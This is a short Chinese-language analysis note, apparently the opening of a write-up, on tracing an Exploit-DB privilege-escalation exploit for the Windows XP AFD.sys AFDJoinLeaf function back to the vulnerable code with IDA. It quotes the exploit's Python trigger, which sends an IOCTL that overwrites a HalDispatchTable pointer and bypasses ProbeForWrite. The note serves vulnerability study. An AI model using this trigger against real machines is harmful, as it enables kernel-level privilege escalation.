从利用代码到漏洞函数的定位分析

环境

windows Xp
IDA 6.8

exp: https://www.exploit-db.com/exploits/18176/

可以看到是对AFDJoinLeaf函数的一个利用

## Trigger Pointer Overwrite 
print "[*] Triggering AFDJoinLeaf pointer overwrite..."
IOCTL             = 0x000120bb                # AFDJoinLeaf
inputbuffer       = 0x1004
inputbuffer_size  = 0x108
outputbuffer_size = 0x0                       # Bypass Probe for Write
outputbuffer      = HalDispatchTable0x4 + 0x1 # HalDispatchTable+0x4+1
IoStatusBlock = c_ulong()
NTSTATUS = ntdll.ZwDeviceIoControlFile(client,
                                       None,
                                       None,
                                       None,
                                       byref(IoStatusBlock),
                                       IOCTL,
                                       inputbuffer,
                                       inputbuffer_size,
                                       outputbuffer,
                                       outputbuffer_size
                                       )